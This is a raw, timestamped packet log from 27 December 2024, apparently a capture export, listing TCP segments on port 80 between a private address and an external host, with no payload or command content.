Dec 27, 2024 08:52:11.417146921 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.425427914 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.425518990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.428374052 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.428452969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.428507090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.428565025 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.436774969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.436851025 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.436863899 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.436901093 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.445167065 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.445226908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.445245028 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.445277929 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.453506947 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.453592062 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.453603983 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.453691959 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.461898088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.461990118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.461996078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.462038994 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.470266104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.470371962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.470496893 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.470546961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.478672028 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.478754997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.478789091 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.478823900 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.487036943 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.487112045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.487117052 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.487157106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.494920969 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.495039940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.495170116 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.495222092 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.532640934 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.532778025 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.605036020 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.605077028 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.605185986 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.607386112 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.607448101 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.607481003 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.607531071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.612166882 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.612236023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.612251997 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.612293005 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.616946936 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.617018938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.617050886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.617090940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.621666908 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.621767998 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.621792078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.621833086 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.626513958 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.626538038 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.626583099 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.626610041 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.631012917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.631088018 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.631100893 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.631146908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.635586023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.635646105 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.635687113 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.635721922 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.640192032 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.640265942 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.640275002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.640312910 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.644733906 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.644804955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.644833088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.644872904 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.649283886 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.649368048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.649398088 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.649442911 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.653879881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.653964043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.653976917 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.654017925 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.658461094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.658512115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.658601046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.658638954 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.663023949 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.663083076 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.663165092 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.663203955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.666682005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.666738033 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.666774988 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.666819096 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.670314074 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.670361042 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.670401096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.670444965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.674086094 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.674103022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.674137115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.674155951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.677627087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.677676916 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.677685022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.677720070 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.681236982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.681289911 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.681359053 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.681396961 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.685380936 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.685395956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.685444117 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.688560009 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.688627958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.688640118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.688676119 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.692172050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.692220926 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.692344904 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.692384958 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.724801064 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.724893093 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.724948883 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.724978924 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.726593018 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.726665974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.797231913 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.797264099 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.797293901 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.797318935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.798582077 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.798625946 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.798672915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.798712969 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.801476002 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.801539898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.801587105 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.801755905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.804431915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.804480076 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.804552078 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.804588079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.807261944 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.807303905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.807387114 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.807425976 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.810014963 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.810070992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.810072899 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.810121059 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.812664986 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.812721014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.812774897 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.812812090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.815387011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.815457106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.815475941 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.815521955 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.817950964 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.818006992 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.818051100 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.818088055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.820472956 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.820532084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.820574999 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.820612907 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.823005915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.823064089 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.823098898 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.823137045 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.825551987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.825603962 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.825799942 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.825844049 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.828082085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.828140020 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.828185081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.828222990 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.830652952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.830701113 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.830775023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.830820084 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.833189011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.833241940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.833283901 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.833322048 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.835726023 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.835779905 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.835859060 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.835899115 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.838232994 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.838289976 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.838291883 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.838327885 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.840810061 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.840867043 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.840903044 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.840941906 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.843353987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.843398094 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.843439102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.843481064 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.845871925 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.845918894 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.846007109 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.846045971 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.848409891 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.848454952 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.848510981 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.848547935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.850929022 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.850977898 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.851070881 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.851110935 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.852890015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.852931976 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.852935076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.852972031 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.854741096 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.854798079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.854839087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.854882002 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.856676102 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.856730938 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.856765985 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.856800079 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.858609915 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.858659029 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.858669043 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.858701944 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.860409021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.860457897 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.860501051 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.860537052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.862339973 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.862385035 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.862431049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.862471104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.864208937 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.864253044 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.864317894 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.864358902 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.866122961 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.866167068 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.866230011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.866274118 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.867985010 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.868038893 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.868099928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.868138075 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.869924068 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.869975090 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.870033026 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.870070934 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.871783972 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.871850014 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.871889114 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.871933937 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.873686075 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.873758078 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.873788118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.873838902 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.875596046 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.875663996 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.875704050 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.875746965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.877501011 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.877553940 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.877619982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.877667904 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.879386902 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.879436970 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.879519939 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.879569054 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.881263971 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.881306887 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.881360054 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.881400108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.883167982 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.883214951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.883255005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.883290052 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.885040998 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.885097980 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.885102987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.885138988 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.989206076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.989366055 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.989475965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.989475965 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.989938021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.990010977 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.990032911 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.990077019 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.991132975 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.991177082 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.991259098 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.991297960 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.992841005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.992887974 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.992923021 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.992963076 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.994359970 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.994419098 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.994472980 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.994517088 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.995914936 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.995965004 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.996025085 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.996067047 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.997472048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.997529984 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.997570992 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.997608900 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.999011993 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.999068975 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.999108076 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.999147892 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.000518084 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.000586987 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.000626087 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.000691891 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.001948118 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.001996994 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.002044916 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.002082109 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.003494024 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.003554106 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.003571987 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.003611088 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.004842043 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:12.004899979 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:12.004940033 CET	80	49949	31.41.244.11	192.168.2.6
